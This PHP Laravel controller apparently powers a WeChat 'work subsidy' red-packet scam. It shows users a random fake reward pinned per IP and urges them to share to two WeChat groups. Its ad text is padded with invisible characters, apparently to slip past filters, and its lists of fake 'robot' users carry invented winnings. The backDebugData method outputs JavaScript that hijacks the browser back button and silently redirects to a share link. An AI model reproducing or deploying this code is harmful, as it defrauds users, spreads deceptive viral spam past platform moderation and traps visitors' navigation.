<?php
/**
 * @Copyright: (C)2021 BJYHYY Inc. All Rights Reserved.
 * @Author: xuzy
 * @Date: 2021/3/7 22:52
 */

namespace App\Http\Controllers;

use App\Models\Entrance;
use App\Models\ShareUrl;
use App\Models\UserRobot;
use Illuminate\Http\Request;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Redis;

class EntranceController extends Controller
{
    public function workReward(Request $request)
    {
        $resourceStr = $request->get('r');
        $resourceInfo = ShareUrl::where('resource_no',$resourceStr)->where('status',1)->first();
        if(!$resourceInfo){
            return response()->view('notFound', [], 404);
        }
        $reward = rand(10000,20000)/100;
        $ip =  md5($request->getClientIp());
        $rewardKey = 'reword_'.$ip;
        if(Redis::exists($rewardKey)){
            $reward = Redis::get($rewardKey);
        }else{
            Redis::setex($rewardKey,6000,$reward);
        }
        return view('entrance/work_reword',['reword'=>$reward,'resource'=>$resourceInfo]);
    }

    public function debugData(Request $request)
    {
        $type = $request->get('index');
        $resourceId = $request->get('resource_id');
        $adUrl = env('APP_URL').'/reward_back_debug_api?resource_id='.$resourceId;
        $resourceInfo = ShareUrl::where('id',$resourceId)->where('status',1)->first();
        switch ($type){
            case '1':
            $data  = [
                    'content'=>[
                        'd'=>[
                            'title'=>'祝工作順利 財源廣進',
                            'subTitle'=>'一千万元大派送',
                            'img'=>env('APP_URL').'/img/bt7.jpg'
                        ],
                        's'=>[
                            'zz'=>'感恩回馈广大劳动人民,分享就能得红包，每人仅限一份',
                            'yq'=>'您只需分享两个微信群</span>',
                            'title'=>'祝工作順利 財源廣進',
                            'img'=>env('APP_URL').'/img/bt7.jpg'
                        ]
                    ],
                    'ad'=>[
                        "rd_title"=>false,
                        "app_url"=> $resourceInfo['share_url'],
                        "timeline_url"=> $resourceInfo['share_url'],
                        "title"=>"@{bq}!只͏͏要一͏͏部͏͏手͏͏机！在家͏͏就能͏͏͏͏轻͏͏松͏͏͏͏͏͏买͏͏车͏͏买͏͏房！方͏͏法͏͏太͏͏简单，惊͏͏呆͏͏众͏͏人！",
                        "img"=>"https://file.rrxh5.cc/g2/c1/2021/03/05/1614906352614.png",
                        "desc"=>"͏͏͏大͏͏͏家͏͏͏好，我͏͏͏是͏͏͏七͏͏͏，我在͏͏͏三͏͏͏个͏͏͏月͏͏͏前接͏͏͏触͏͏͏了我͏͏͏们͏͏͏W͏͏͏͏͏͏赚͏͏͏͏͏͏团队，并且成͏͏͏为 我͏͏͏们͏͏͏团队的形͏͏͏象代͏͏͏言͏͏͏人。"
                    ],
                    'attached'=>[
                        'show_close'=>false,
                        'rd_title'=>false,
                        'ad_share'=>[
                            'pyq'=>[0,0,0],
                            'qun'=>[0,0,0,0,0]
                        ],
                        'gb_pyq'=>false,
                        'cache'=>[
                            'd'=>false,
                            's'=>false
                        ],
                        'signmode'=>'jssdk',
                        'jfx'=>false,
                        'needWhite'=>[
                            'd'=>false,
                            's'=>false
                        ],
                        "fucks"=> ["", ""],
                        "isMp"=>false,
                        "back_api"=>$adUrl,
                        "back_api_s"=>$adUrl,
                        "back_api_ss"=>$adUrl
                    ],
                    "hm_d"=>'',
                    "to_timeline"=>[
                        'title'=>'返͏͏͏͏͏͏͏͏͏͏͏͏工͏͏͏͏͏͏͏͏͏͏的͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏快͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏速͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏',
                        'img'=>env('APP_URL').'/img/bt8.jpg',
                        'link'=>$resourceInfo['share_url']
                    ],
                    "to_group"=>[
                        'title'=>'已͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏领͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏取͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏补͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏͏貼',
                        'desc'=>'¥252.65',
                        'img'=>env('APP_URL').'/img/bt8.jpg',
                        'link'=>$resourceInfo['share_url']
                    ],
                    "appId"=>"wxa110b8900b03d1c5faeafaeeb4795733b2907cbf1473b506",
                    "timestamp"=>1615196477,
                    "nonceStr"=> "baijiacloudweixinapi",
                    "signature"=>"8372fd97e5796b535ea6e4d2d865a80dfb54f67f"
                ];
                $data = json_encode($data,true);
                break;
            case '2':
//                $data = '{"content":{"d":{"title":"{city}\u65b0\u5e74\u8fd4\u5de5\u88dc\u8cbc\u9818\u53d6","subTitle":"\u4e00\u5343\u4e07\u5143\u5927\u6d3e\u9001","img":"http:\/\/cc-zh.cn\/bimg\/bt7.jpg"},"s":{"zz":"\u611f\u6069\u56de\u9988\u5e7f\u5927\u52b3\u52a8\u4eba\u6c11","yq":"\u60a8\u53ea\u9700\u5206\u4eab\u4e24\u4e2a\u5fae\u4fe1\u7fa4<\/span>","title":"\u5e86\u8d3a\u6d77\u5e95\u635e\u5f00\u4e1a\u5927\u5409","img":"http:\/\/cc-zh.cn\/bimg\/bt7.jpg"}},"attached":{"back_api":"\/\/s168.dzdftg.net\/hb\/Hb26\/getad","back_api_s":"\/\/s168.dzdftg.net\/hb\/Hb26\/getad","back_api_ss":"\/\/s168.dzdftg.net\/hb\/Hb26\/getad","jds":false},"hm_d":"693c1bc968a749d07573ec5cc95d7744"}';
                $data = [
                    'content'=>[
                        'd'=>[
                            'title'=>'{city}新年返工補貼領取',
                            'subTitle'=>'一千万元大派送',
                            'img'=>env('APP_URL').'/img/bt7.jpg'
                        ],
                        's'=>[
                            'zz'=>'感恩回馈广大劳动人民',
                            'yq'=>'您只需分享两个微信群</span>',
                            'title'=>'庆贺海底捞开业大吉',
                            'img'=>env('APP_URL').'/img/bt7.jpg'
                        ]
                    ],
                    'attached'=>[
                        "back_api"=>$adUrl,
                        "back_api_s"=>$adUrl,
                        "back_api_ss"=>$adUrl,
                        "jds"=>false,
                    ],
                    'hm_d'=>'693c1bc968a749d07573ec5cc95d7744'
                ];
                $data = json_encode($data,true);
                break;
        }

        echo $data;
    }

    function backDebugData(Request $request)
    {
        $resourceId = $request->get('resource_id');
        $resourceInfo = ShareUrl::where('id',$resourceId)->where('status',1)->first();
        $url = $resourceInfo->share_url;
        echo "
        function randomWord(randomFlag, min, max) {
    var str = '', range = min, arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
// 随机产生 
if (randomFlag) { 
    range = Math.round(Math.random() * (max - min)) + min; 
} 
for (var i = 0; i < range; i++) 
{ 
    pos = Math.round(Math.random() * (arr.length - 1)); 
    str += arr[pos];
} return str; } 
var ggym = '".$url."';
function zp() {
    var a = document.createElement('a'); 
    a.setAttribute('rel', 'noreferrer'); 
    a.setAttribute('id', 'm_noreferrer'); 
    a.setAttribute('href', ggym); 
    document.body.appendChild(a); 
    document.getElementById('m_noreferrer').click();
    document.body.removeChild(a); 
}
history.pushState(history.length + 1, 'message', location.href.split('#')[0] + '#' + new Date().getTime());
if (navigator.userAgent.indexOf('Android') != -1) { 
    if (typeof(tbsJs) != 'undefined') {
        tbsJs.onReady('{useCachedApi : \'true\'}', function(e) {});
        window.onhashchange = function() { zp() }; 
    } else { 
        var pop = 0;
        window.onhashchange = function(event) {
            pop++ ;
            if (pop >= 3) { zp() }
            else {
                history.go(1);
            } 
        }; 
        history.go(-1);
    }
} else { 
    window.onhashchange = function() { zp() };
}
      ";
    }

    public function myWorkReward(Request $request)
    {
        $resourceStr = $request->get('r');
        $resourceInfo = ShareUrl::where('resource_no',$resourceStr)->where('status',1)->first();
        if(!$resourceInfo){
            return response()->view('notFound', [], 404);
        }
        $reward = rand(10000,20000)/100;
        $ip =  md5($request->getClientIp());
        $rewardKey = 'reword_'.$ip;
        if(Redis::exists($rewardKey)){
            $reward = Redis::get($rewardKey);
        }else{
            Redis::setex($rewardKey,6000,$reward);
        }
        $entranceInfo = Entrance::where('id',$resourceInfo->entrance_id)->first();
        $entranceInfo->title_img = env('APP_URL').'/uploads/'.$entranceInfo->title_img;
        $toUrl = env('APP_URL').'/new_work_reward_show?r='.$resourceStr;
        return view('entrance/my_work_reword',
            ['reword'=>$reward,'resource'=>$resourceInfo,'entrance'=>$entranceInfo,'toUrl'=>$toUrl]);
    }

    public function myWorkRewardShow(Request $request)
    {
        $resourceStr = $request->get('r');
        $resourceInfo = ShareUrl::where('resource_no',$resourceStr)->where('status',1)->first();
        if(!$resourceInfo){
            return response()->view('notFound', [], 404);
        }
        $reward = rand(10000,20000)/100;
        $ip =  md5($request->getClientIp());
        $rewardKey = 'reword_'.$ip;
        if(Redis::exists($rewardKey)){
            $reward = Redis::get($rewardKey);
        }else{
            Redis::setex($rewardKey,6000,$reward);
        }
        $entranceInfo = Entrance::where('id',$resourceInfo->entrance_id)->first();
        $entranceInfo->title_img = env('APP_URL').'/uploads/'.$entranceInfo->title_img;
        //取六个机器人
        $userRobot = UserRobot::limit(6)->get()->toArray();
        foreach ($userRobot as $key=>$value){
            $userRobot[$key]['reword'] =   rand(7000,20000)/100;
            $userRobot[$key]['head_photo'] = env('APP_URL').'/uploads/'.$value['head_photo'];
        }
        return view('entrance/my_work_reword_show',
            [
                'reward'=>$reward,
                'resource'=>$resourceInfo,
                'entrance'=>$entranceInfo,
                'robot'=>$userRobot,
                'showTime'=>date('H:i')
            ]
        );

    }

    public function doRedirTo(Request $request)
    {
        $resourceStr = $request->get('r');
        $resourceInfo = ShareUrl::where('resource_no',$resourceStr)->where('status',1)->first();
        if(!$resourceInfo){
            return response()->view('notFound', [], 404);
        }
        return response()->redirectTo($resourceInfo['share_url']);
    }

    public function getRobot(Request $request)
    {
        $start = $request->get('start',0);
        $length = $request->get('length',20);
        $userRobot = UserRobot::offset($start)->limit($length)->get()->toArray();
        foreach ($userRobot as $key=>$value){
            $userRobot[$key]['reword'] =  round(rand(7000,20000)/100,2);
            $userRobot[$key]['head_photo'] = env('APP_URL').'/uploads/'.$value['head_photo'];
        }
        return response()->json($userRobot);
    }


}